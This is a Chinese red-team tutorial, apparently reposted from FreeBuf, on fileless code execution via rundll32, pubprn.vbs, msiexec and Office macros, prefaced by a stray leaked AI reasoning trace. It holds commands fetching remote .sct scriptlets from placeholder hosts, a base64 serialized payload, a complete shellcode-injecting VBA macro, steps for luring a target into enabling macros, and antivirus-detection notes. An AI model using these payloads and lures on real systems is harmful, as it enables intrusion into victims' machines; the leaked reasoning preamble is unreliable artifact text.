红队无文件落地技术介绍
嗯,用户让我帮忙总结一篇文章的内容,控制在100字以内,而且不需要用“文章内容总结”这样的开头。看起来他可能是一个安全研究人员或者IT专业人士,对恶意软件和攻击技术感兴趣。 文章里提到了rundll32.exe这个工具,可以用来执行DLL中的函数,甚至加载远程脚本,实现无文件攻击。这可能对用户来说是一个关键点,因为无文件攻击很难被传统杀软检测到。 接着,文章还介绍了pubprn.vbs脚本,可以用来加载远程的.sct文件,执行恶意代码。这对于用户来说可能也是一个重要的免杀技巧。 然后是MSI文件的使用,虽然MSI文件本身是合法的安装包,但可以用来打包恶意软件,实现静默安装。不过用户需要注意的是,这种方法可能会被杀软拦截。 最后提到了Office宏的利用,通过宏代码来执行恶意命令。虽然现在杀软对宏的监控很严格,但用户可能需要寻找绕过这些监控的方法。 综合来看,用户可能是在寻找多种免杀技术的总结,以便在渗透测试或安全研究中使用。因此,在总结时需要涵盖rundll32、pubprn.vbs、MSI和Office宏这四个方面,并且强调它们如何用于无文件攻击和绕过杀软。 </think> 文章介绍了 rundll32.exe 的用途及其在恶意代码执行中的应用方法,并提供了基于本地 DLL 加载、远程脚本加载以及利用 pubprn.vbs 文件执行远程代码的示例。同时讨论了 MSI 文件的制作与使用、Office 宏病毒的工作原理及其绕过杀软的可能性。 2026-2-10 14:56:52 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

介绍

rundll32 是用于执行 dll 中的函数的程序,并且在进程列表中只能看到rundll32.exe,但是遍历rundll32.exe的模块列表可以看到进程加载的dll

默认位置

C:\Windows\System32\rundll32.exe  
C:\Windows\SysWOW64\rundll32.exe

利用

基于命令执行

可以通过构造恶意命令加载远程的恶意代码,实现无文件落地攻击。

加载远程脚本

通过构造远程的脚本文件,使用rundll32加载运行,实现上线。

远程脚本参考:

<?xmlversion="1.0"?>  
<package>  
<componentid="attack">  
<scriptlanguage="JScript">  
<![CDATA[  
function setversion() {  
}  
function debug(s) {}  
function base64ToStream(b) {  
var enc = new ActiveXObject("System.Text.ASCIIEncoding");  
var length = enc.GetByteCount_2(b);  
var ba = enc.GetBytes_4(b);  
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");  
ba = transform.TransformFinalBlock(ba, 0, length);  
var ms = new ActiveXObject("System.IO.MemoryStream");  
ms.Write(ba, 0, (length / 4) * 3);  
ms.Position = 0;  
return ms;  
}  
var serialized_obj = "AAEAAAD////AQAAAAAAAAAAAAAQAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpmF0aw9uSG9sZGVy"+  
"AwAAAAhEZwxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlGbVnyXRlU2VyaWFsaXph"+  
"dGlvbkhvbGRlcitEZwxlZ2F0ZUVudHJ5IIN5c3RlS5EZwxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+  
"ZXIVU3lzdGVtLLJzMxIY3Rpb24uTWVtYmVvSW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+  
"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpmF0aw9uSG9sZGVyK0RlbGVnYXRL"+  
"RW50cnkAAAAABHR5cGUIYXNZw1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+  
"eXBITmFtZQptZXRob2ROYW1LDWRlBGVnYXRLrw5OcnkBAQIBAQEDMFN5c3RlbsS5EZwxlZ2FOVNL"+  
"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbsS5Sdw50aw1llLjlbw90"+  
"aW5nLk1Ic3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWiIsIFZIcnNpb249Mi4wLjAu"+  
"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdwJsaUNLZXlUb2tlbj1iNzdhNWM1Nje5MzRlMDg5BgcAAAAH"+  
"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlBGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwwAA"+  
...  
]]>  
</script>  
</component>  
</package>

基于本地DLL加载

使用Cobalt Strike 生成上线的DLL文件,使用rundll32 进行调用运行。

调用本地DLL

advpack.dll

位置:

  • c:\windows\system32\advpack.dll
  • c:\windows\syswow64\advpack.dll

执行命令:

rundll32 advpack.dll, RegisterOCX "cmd.exe /c calc.exe"

ieframe.dll

位置:

  • c:\windows\system32\ieframe.dll
  • c:\windows\syswow64\ieframe.dll

参考执行命令:

rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url"

mshtml.dll

位置:

  • c:\windows\system32\mshtml.dll
  • c:\windows\syswow64\mshtml.dll

参考执行命令:

rundll32.exe Mshtml.dll,PrintHTML "C:\temp\calc.hta"

pcwutl.dll

位置:

  • c:\windows\system32\pcwutl.dll
  • c:\windows\syswow64\pcwutl.dll

参考执行命令:

rundll32.exe pcwutl.dll,LaunchApplication calc.exe

url.dll

位置:

  • c:\windows\system32\url.dll
  • c:\windows\syswow64\url.dll

参考执行命令:

rundll32.exe url.dll,FileProtocolHandler file://C:\Windows\System32\calc.exe

介绍

PUBPRN.VBS 是一个将打印机发布到 ActiveDirectory 域服务的 VisualBasic 脚本。该脚本由 Microsoft 签名,可用于从远程站点代理执行。

命令示例

cscript C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http://192.168.1.100/hi.png

默认存放位置

英文系统:

  • C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs
  • C:\Windows\SysWOW64\Printing_Admin_Scripts\en-US\pubprn.vbs

中文系统:

  • C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs
  • C:\Windows\SysWOW64\Printing_Admin_Scripts\zh-CN\pubprn.vbs

利用

通过 pubprn.vbs 文件可以加载执行远程的 .sct 文件,实现执行命令的效果。

参考命令:

cscript C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:https://domain.com/folder/file.sct

file.sct 参考内容:

<?xmlversion="1.0"?>  
<package>  
<componentid="testCalc">  
<scriptlanguage="JScript">  
<![CDATA[  
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");  
]]>  
</script>  
</component>  
</package>

通过在 .sct 文件中构造恶意上线代码,即可实现无文件落地上线cs。

杀软测试

  • 360主动防御:对关键字script:进行拦截
  • 火绒:未进行拦截
  • Windows Defender:对关键字http进行拦截。命令中出现 http 关键字即报毒且禁止访问

介绍

MSI 文件是 Windows Installer 的数据包,它实际上是一个数据库,包含安装一种产品所需要的信息和在很多安装情形下安装(和卸载)程序所需的指令和数据。MSI 文件将程序的组成文件与功能关联起来。此外,它还包含有关安装过程本身的信息。如目标文件夹路径、系统依赖项、安装选项和控制安装过程的属性。采用 MSI 安装的优势在于你可以随时彻底删除它们,更改安装选项,即使安装中途出现意想不到的错误,一样可以安全地恢复到以前的状态,正是凭着此强大功能,越来越多的软件开始使用MSI作为发行的方式了。

msiexec.exe 是系统进程,是 Windows Installer 的一部分。用于安装 Windows Installer 安装包(MSI),对系统的正常运行是非常重要的,一般在运行 Microsoft Update 安装更新或安装部分软件的时候出现,占用内存比较大。

制作 .msi 文件

  1. Google 搜索 exe2msi,选择适合自己的工具。此处使用示例为:https://www.exemsi.com/。该工具可以把 exe 打包成 msi 文件。
  2. 下载工具并安装
  3. 安装完成之后,制作一个免杀目标杀软的上线马。(注意:使用 msiexec.exe 加载远程的 msi 文件,实际上还是会把 msi 中的 exe 进行解压到指定位置进行执行,所以可以说该工具打包的 exe 实现的并非实际意义上的无文件落地。)
  4. 使用下载的工具按照提示一步一步把 exe 打包成 msi a. 此处以 calc.exe 为例 b. 打开 MSI wrapper,选择下一步

使用 msiexec 进行执行

本地静默安装

参考命令:

msiexec /i "winapp.msi" /quiet TARGETDIR="D:\TEST"  
# 静默安装到D:\TEST 目录下

远程执行

可以通过远程URL加载MSI文件进行执行。

介绍

office 宏,译自英文单词Macro。宏是微软公司为其OFFICE软件包设计的一个特殊功能,软件设计者为了让人们在使用软件进行工作时,避免一再地重复相同的动作而设计出来的一种工具,它利用简单的语法,把常用的动作写成宏,当在工作时,就可以直接利用事先编好的宏自动运行,去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。

在计算机技术的历史中,宏病毒(英语:Macro virus)是一种使得应用软件的相关应用文档内含有被称为宏的可执行代码的病毒。一个电子表格程序可能允许用户在一个文档中嵌入宏命令,使得某种操作得以自动运行;同样的操作也就可以将病毒嵌入电子表格来对用户的使用造成破坏。

在1990年代中后期最流行的病毒就是和微软公司办公软件(如Microsoft Word及Excel)相关的宏病毒。在90年代后期,微软公司的电子邮件软件Outlook(拥有scripting特性)成为传播宏病毒最常用的载体。直到今天还是如此。Outlook的scripting特性使得宏病毒能够获得Outlook用户地址簿中存储的联系人地址,通过向这些地址发送E-mail将病毒体广泛传播。而之前的电脑病毒(比如Morris电脑病毒)同样通过E-mail传播,但破坏力远不及此。

宏病毒的另一个特别危险的特征体现于它们有时能够感染运行不同操作系统平台上的的电脑。比如Microsoft Word宏病毒可以感染使用微软公司视窗系统的Word用户,同样也可以感染使用苹果公司Macintosh电脑的用户。

绝大多数的宏病毒都是根据微软公司系列软件所特有的宏功能所编写,这一方面是因为其他应用软件对编写宏病毒来说十分困难,另一方面也是因为微软公司系列软件得到了最广泛的使用,以致于它们成为了这些电脑病毒的首要目标。

利用

制作上线word

  1. 打开 Cobalt Strike,选择 Attacks -> Packages -> MS Office Macro
  2. 选择监听器后,点击 Generate
  3. 在弹出的弹窗中,点击 Copy Macro
  4. 此时剪切板上的代码参考如下:
Private Type PROCESS_INFORMATION  
    hProcess As Long  
    hThread As Long  
    dwProcessId As Long  
    dwThreadId As Long  
End Type  

Private Type STARTUPINFO  
    cb As Long  
    lpReserved As String  
    lpDesktop As String  
    lpTitle As String  
    dwX As Long  
    dwY As Long  
    dwXSize As Long  
    dwYSize As Long  
    dwXCountChars As Long  
    dwYCountChars As Long  
    dwFillAttribute As Long  
    dwFlags As Long  
    wShowWindow As Integer  
    cbReserved2 As Integer  
    lpReserved2 As Long  
    hStdInput As Long  
    hStdOutput As Long  
    hStdError As Long  
End Type  

#If[](javascript:;) VBA7 Then  
    Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackTrace As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr  
    Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr  
    Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByVal Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr  
    Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long  
#Else[](javascript:;)  
    Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackTrace As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, ByVal flProtect As Long) As Long  
    Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long  
    Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByVal Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long  
    Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long  
#End[](javascript:;) If  

Sub Auto_Open()  
    Dim myByte As Long, myArray As Variant, offset As Long  
    Dim pInfo As PROCESS_INFORMATION  
    Dim sInfo As STARTUPINFO  
    Dim sNull As String  
    Dim sProc As String  

    #If[](javascript:;) VBA7 Then  
        Dim rwxpage As LongPtr, res As LongPtr  
    #Else[](javascript:;)  
        Dim rwxpage As Long, res As Long  
    #End[](javascript:;) If  

    myArray = Array(shellcode)  
    If Len(Environ("ProgramW6432")) > 0 Then  
        sProc = Environ("windir") & "\SysWOW64\rundll32.exe"  
    Else  
        sProc = Environ("windir") & "\System32\rundll32.exe"  
    End If  

    res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)  
    rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)  

    For offset = LBound(myArray) To UBound(myArray)  
        myByte = myArray(offset)  
        res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)  
    Next offset  

    res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)  
End Sub  

Sub AutoOpen()  
    Auto_Open  
End Sub  

Sub Workbook_Open()  
    Auto_Open  
End Sub
  1. 打开 Microsoft Word,新建一个文档,保存成 .docm 格式
  2. 点击 视图 -> 宏
  3. 输入宏的名称,选择宏的位置为目标文档。然后点击 创建
  4. 删除自动生成的代码,将剪贴板代码粘贴到窗体中
  5. 保存后,关闭窗体,此时查看宏,可以发现宏已创建
  6. 将制作好的文档发给目标,目标在打开文档后会出现安全提示
  7. 诱导用户去启用内容,当目标启用内容后,即可正常上线(注意:默认生成的宏代码已被查杀,所以此处上线的条件是无杀软、使用的是微软office)

注意:如果目标机器存在360、火绒这类杀软,杀软不会直接删除文档,但会清除文档中的宏代码。 目前宏文档已被各大杀软层层监控,笔者未有bypass杀软的相关技术。以下项目可用于后续免杀宏的参考学习:

  • https

文章来源: https://www.freebuf.com/articles/web/470361.html
如有侵权请联系:admin#unsafe.sh